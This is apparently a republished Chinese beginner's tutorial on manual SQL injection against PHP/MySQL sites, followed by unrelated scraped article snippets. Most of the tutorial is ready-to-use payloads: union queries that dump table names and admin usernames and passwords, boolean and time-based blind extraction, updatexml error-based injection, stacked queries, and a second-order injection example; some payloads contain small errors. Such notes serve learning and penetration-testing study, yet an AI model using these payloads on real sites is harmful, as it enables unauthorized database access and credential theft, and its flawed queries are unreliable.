SQL手工注入入門級筆記(更新中)

一、字符型注入

針對如下php代碼進行注入:

$sql="select user_name from users where name='$_GET['name']'";

正常訪問URL:http://url/xxx.php?name=admin

此時實際數據庫語句:

select user_name from users where name='admin'

利用以上結果可想到SQL注入構造語句:

http://url/xxx.php?name=admin' and '1'='1' --'

此時實際數據庫語句:

select user_name from users where name='admin' and '1'='1' --''

在上面的sql語句中可以發現,通過閉合原本的單引號,在后面添加新的查詢語句,可達到注入目的。(mysql中兩個單引號中間為空會被忽略,若出現單個單引號會有語法錯誤。)

成功后可以開始進行猜解數據庫了:

1、猜字段數

and 1=2 union?select 1,2,3,4,5,6……(字段數為多少,后面的數字就到幾,如union?select 1,2,3,4,5能夠成功返回結果則表示字段數為5)

order?by 6 (?當某一數字正常返回頁面就表示有多少個字段)

2、查庫

and 1=2 union select 1,2,3,database(),5,6--+? ? ? ?(利用第四個字段的顯示位來顯示數據庫名,具體位置看具體網站)

3、查表

and 1=2 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--+? ? ? ?(以MySQL為例 )

4、查字段

and 1=2 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database() and table_name='admin'--+? ? ? ?(以MySQL為例,其中admin和單引號?可以使用admin的十六進制代替,其他內容也可以。 )

5、查內容

and 1=2 union select 1,2,3,group_concat(username,password),5,6 from admin --+

上述單引號括起來的內容可以替換為內容的十六進制繞過單引號過濾。

?

二、布爾盲注(Boolean?with?blind SQL injection)

第一步:猜數據庫長度

?id=1' and length(database())>=1--+

>=1可以自己結合場景自己更換。

第二步:猜數據庫名

?id=1' and substr(database(),1,1)='a'--+? ?普通版

?id=1' and?ord(substr(database(),1,1))=97 --+? ?ASCII碼版---與上面意思相同

substr為截取字符串,從1開始。上面這段表示從1開始截取1個字符。

ord為MySQL中轉換ASCII碼的函數。

當測出第一個字符以后測試第二個字符?用substr(database(),2,1)=‘a’--+,一共需要測到第一步中猜測出來的長度。

第三步:猜表名

?id=1' and substr((select table_name from information_schema.tables where table_schema=database()?limit 0,1),1,1)='a'--+? ?直接版可以不用猜解數據庫名

?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='a'--+? ?普通版?使用第二步猜解出來的數據庫名

?id=1' and?ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97 --+? ?ASCII碼版---與上面意思相同

limit?函數表示取出內容的條數范圍,從0開始。上段內容limit 0,1表示從第一個開始取1條。則從第二個開始取一條為:limit 1,1。

第三步:猜字段名

?id=1' and substr((select table_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),1,1)='a'--+? ?直接版可以不用猜解數據庫名

?id=1' and substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1)='a'--+? ?普通版?使用第二步猜解出來的數據庫名

?id=1' and?ord(substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1))=97 --+? ?ASCII碼版---與上面意思相同

上述單引號括起來的內容可以替換為內容的十六進制繞過單引號過濾。

第四步:猜內容

?id=1' and substr((select username from admin?limit 0,1),1,1)='a'--+? ?直接版可以不用猜解數據庫名

?id=1' and substr((select username from admin limit 0,1),1,1)='a'--+? ?普通版?使用第二步猜解出來的數據庫名

?id=1' and?ord(substr((select username from admin limit 0,1),1,1))=97 --+? ?ASCII碼版---與上面意思相同

?

三、報錯注入

由于程序員或網站維護人員的配置不當,錯誤信息被輸出到了前臺,導致可以根據報錯進行一系列的操作。

因此可以利用報錯注入獲取數據,報錯注入有很多格式,這里使用updatexml()

1、利用updatexml獲取user()

?user=admin‘ and updatexml(1,concat(0x7e,(select user())),1)--+

0x7e為ASCII碼的 ~?波浪號,為了在返回的報錯信息中很方便的查看到想要注入得到的數據,沒有別的功能性作用。

2、利用updatexml獲取database()

?user=admin‘ and updatexml(1,concat(0x7e,(select database())),1)--+

3、利用updatexml獲取數據庫內容

查表名:?user=admin‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+

查詢其他內容就不一一列舉,在上面一、二板塊有詳細內容,融會貫通靈活運用就可以。

其他報錯函數利用原理大致相同。

?

四、延時盲注攻擊(Sleep with?blind SQL injection)

又稱為時間盲注,與Boolean注入非常相似,不同之處在于延時注入使用的是sleep()、benchmark()等造成延時的函數從頁面返回耗時來判斷。

多用IF(exp1,exp2,exp3)結合使用,若exp1為真,則返回exp2,若exp2為假,則返回exp3。

1、判斷數據庫名長度

?id=1' and if(length(database())>=3,sleep(5),1)

sleep函數中的參數單位為秒。若數據庫長度>=3則睡5秒再返回內容給你,否則直接查詢1返回結果。

2、判斷數據庫內容

?id=1' and if(?ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)? 猜字段名

?id=1' and if(substr((select username from admin?limit 0,1),1,1)='a',sleep(5),1)? 猜字段內容

其他查詢語句可以參考上面一、二介紹的語句。

?

五、堆疊查詢注入攻擊

?id=1’?加了單引號頁面返回錯誤,?id=1' %23以后頁面返回正常則可以利用。

閉合原本的查詢語句,構造自己的查詢語句(利用方式為布爾盲注和時間盲注)。

1、猜數據庫名

?id=1'%23 select if(substr(database(),1,1)='a',sleep(5),1)%23? ?這里利用的是時間盲注

?id=1'%23 select if(ord(substr(database(),1,1))=97?,sleep(5),1)%23? ?這里利用的是布爾盲注

2、猜數據庫內容

?id=1'%23?if(ord(substr((select?table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97,sleep(5),1)%23?猜表名

?id=1'%23?if(ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)%23?猜字段名

其他查詢語句可以參考上面一、二、三、四介紹的語句。

?

六、二次注入

某一次用戶輸入的惡意構造內容被保存到數據中,當第二次從數據庫中去獲取該內容時,用戶輸入的惡意SQL語句截斷了第二次查詢的查詢語句,執行了用戶構造的語句。

比如在注冊用戶時?用戶名設置為?test‘?在test后面加個單引號,沒有過濾輸入而保存到數據庫中。當去訪問個人中心時,發現顯示用戶名的地方出現了數據庫報錯,單引號被帶到了查詢語句中執行了。

原理就是系統對數據庫中的內容沒有進行過濾而是采取信任,導致從外部無法注入卻從內部上查詢中注入成功。

?

轉載于:https://www.cnblogs.com/iAmSoScArEd/p/10593234.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/394587.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/394587.shtml
英文地址,請注明出處:http://en.pswp.cn/news/394587.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

materialize_使用Materialize快速介紹材料設計

materialize什么是材料設計? (What is Material Design?) Material Design is a design language created by Google. According to material.io, Material Design aims to combine:Material Design是Google創建的一種設計語言。 根據material.io ,Mate…

python處理完數據導入數據庫_python 將execl測試數據導入數據庫操作

import xlrd import pymysql # 打開execl表 book xlrd.open_workbook(XXXX測試用例.xlsx) sheet book.sheet_by_name(Sheet1) # print(sheet.nrows) # 創建mysql連接 conn pymysql.connect( host127.0.0.1, userroot, password123456, dbdemo1, port3306, charsetutf8 ) # 獲…

增刪改查類

<?php // 所有數據表的基類 abstract class Model {protected $tableName "";protected $pdo "";protected $sql"";function __construct() {$pdo new PDO( "mysql:host" . DB_HOST . ";dbname" . DB_NAME, DB_USERN…

html網頁和cgi程序編程,CGI 編程方式學習

1.大家都知道CGI是通用網關接口&#xff0c;可以用來編寫動態網頁。而且CGI可以用很多種語言來寫&#xff0c;用perl來編寫最常見&#xff0c;我這里就是用perl來編寫做例子。講到編寫CGI編程方式&#xff0c;編寫CGI有兩程編程風格。(1)功能型編程(function-oriented style)這…

20175305張天鈺 《java程序設計》第四周課下測試總結

第四周課下測試總結 錯題 某方法在父類的訪問權限是public&#xff0c;則子類重寫時級別可以是protected。 A .true B .false 正確答案&#xff1a;B 解析&#xff1a;書P122&#xff1a;子類不允許降低方法的訪問權限&#xff0c;但可以提高訪問權限。 復雜題&#xff08;易錯…

強化學習q學習求最值_通過Q學習更深入地學習強化學習

強化學習q學習求最值by Thomas Simonini通過托馬斯西蒙尼(Thomas Simonini) 通過Q學習更深入地學習強化學習 (Diving deeper into Reinforcement Learning with Q-Learning) This article is part of Deep Reinforcement Learning Course with Tensorflow ??. Check the syl…

BZOJ 1113: [Poi2008]海報PLA

1113: [Poi2008]海報PLA Time Limit: 10 Sec Memory Limit: 162 MBSubmit: 1025 Solved: 679[Submit][Status][Discuss]Description N個矩形,排成一排. 現在希望用盡量少的矩形海報Cover住它們. Input 第一行給出數字N,代表有N個矩形.N在[1,250000] 下面N行,每行給出矩形的長…

Python自動化運維之常用模塊—OS

os模塊的作用&#xff1a;  os&#xff0c;語義為操作系統&#xff0c;所以肯定就是操作系統相關的功能了&#xff0c;可以處理文件和目錄這些我們日常手動需要做的操作&#xff0c;就比如說&#xff1a;顯示當前目錄下所有文件/刪除某個文件/獲取文件大小……  另外&#…

opengl三維圖形圖形顏色_【圖形學基礎】基本概念

右手坐標系。類似OpenGL遵循的右手坐標系&#xff1a;首先它是三維的笛卡爾坐標系&#xff1a;原點在屏幕正中&#xff0c;x軸從屏幕左向右&#xff0c;最左是-1&#xff0c;最右是1&#xff1b;y軸從屏幕下向上&#xff0c;最下是-1&#xff0c;最上是1&#xff1b;z軸從屏幕里…

xp職稱計算機考試題庫,2015年職稱計算機考試XP題庫.doc

2015年職稱計算機考試XP題庫.doc (7頁)本資源提供全文預覽&#xff0c;點擊全文預覽即可全文預覽,如果喜歡文檔就下載吧&#xff0c;查找使用更方便哦&#xff01;9.90 積分&#xfeff;2015年職稱計算機考試XP題庫職稱計算機考試考點精編&#xff1a;工具欄的設置與操作XP中將…

Java基礎學習-Path環境變量的配置

1.為什么要進行Path環境變量的配置程序的編譯和執行需要使用到javac和java命令&#xff0c;所以只能在bin目錄下寫程序&#xff0c;而實際開發中&#xff0c;我們不可能將程序全部寫到bin目錄下&#xff0c;所以我們不許讓javac和java命令在任意目錄下都能夠被訪問。這時候&…

rails 共享變量_如何將Rails實例變量傳遞給Vue組件

rails 共享變量by Gareth Fuller由Gareth Fuller 如何將Rails實例變量傳遞給Vue組件 (How to pass Rails instance variables into Vue components) I’m currently working with a legacy Rails application. We are slowly transitioning the front-end from Rails views to…

Leetcode: Counting Bits

Given a non negative integer number num. For every numbers i in the range 0 ≤ i ≤ num calculate the number of 1s in their binary representation and return them as an array.Example: For num 5 you should return [0,1,1,2,1,2].Follow up:It is very easy to c…

第一個python爬蟲_Python爬蟲01——第一個小爬蟲

Python小爬蟲——貼吧圖片的爬取 在對Python有了一定的基礎學習后&#xff0c;進行貼吧圖片抓取小程序的編寫。 目標&#xff1a; 首先肯定要實現圖片抓取這個基本功能 然后實現對用戶所給的鏈接進行抓取 最后要有一定的交互&#xff0c;程序不能太傻吧 一、頁面獲取 要讓pytho…

Mac下,如何把項目托管到Github上(Github Desktop的使用)

在上一篇中&#xff0c;詳細講解了使用X-code和終端配合上傳代碼的方法&#xff0c;這種方法比較傳統&#xff0c;中間會有坑&#xff0c;英文看起來也費勁&#xff0c;不過Github官方提供了一個Mac版的客戶端&#xff0c;如下圖&#xff1a; 附上下載鏈接&#xff1a;傳送門 下…

計算機網絡英文面試題,計算機網絡面試題整理

GET和POST的區別&#xff1f;GET和POST方法沒有實質上區別&#xff0c;只是報文格式不同。GET和POST是HTTP協議中的兩種請求方法。而 HTTP 協議是基于 TCP/IP 的應用層協議&#xff0c;無論 GET 還是 POST&#xff0c;用的都是同一個傳輸層協議&#xff0c;所以在傳輸上&#x…

利用遞歸求某數的階乘——C/C++

#include<stdio.h>int getFactorial(int n) {if(n0)return 1;else return n*getFactorial(n-1); }int main() {int n,res;scanf("%d",&n);res getFactorial(n);printf("%d",res);return 0; } 轉載于:https://www.cnblogs.com/daemon94011/p/106…

intern_充分利用Outreachy Intern申請流程

internby Joannah Nanjekye喬安娜南耶基(Joannah Nanjekye) 充分利用Outreachy Intern申請流程 (Get the most out of your Outreachy Intern application process) Outreachy gives three-month paid internships for persons that are underrepresented in tech. Interns ar…

Put-Me-Down項目Postmortem2

一.設想和目標二.計劃三.資源四.變更管理五.設計/實現六.測試/發布總結一.設想和目標 1. 我們的軟件要解決什么問題&#xff1f;是否定義得很清楚&#xff1f;是否對典型用戶和典型場景有清晰的描述&#xff1f; 我們的軟件要幫助低頭族控制使用手機時間。功能很明確&#xff0…

大數據實驗報告總結體會_建設大數據中臺架構思考與總結

簡介本文介紹完善的大數據中臺架構了解這些架構里每個部分的位置&#xff0c;功能和含義及背后原理及應用場景。幫助技術與產品經理對大數據技術體系有個全面的了解。數據中臺定義&#xff1a;集成離線數倉與實時數倉&#xff0c;并以多數據源統一整合采集到kafka,再通過kafka進…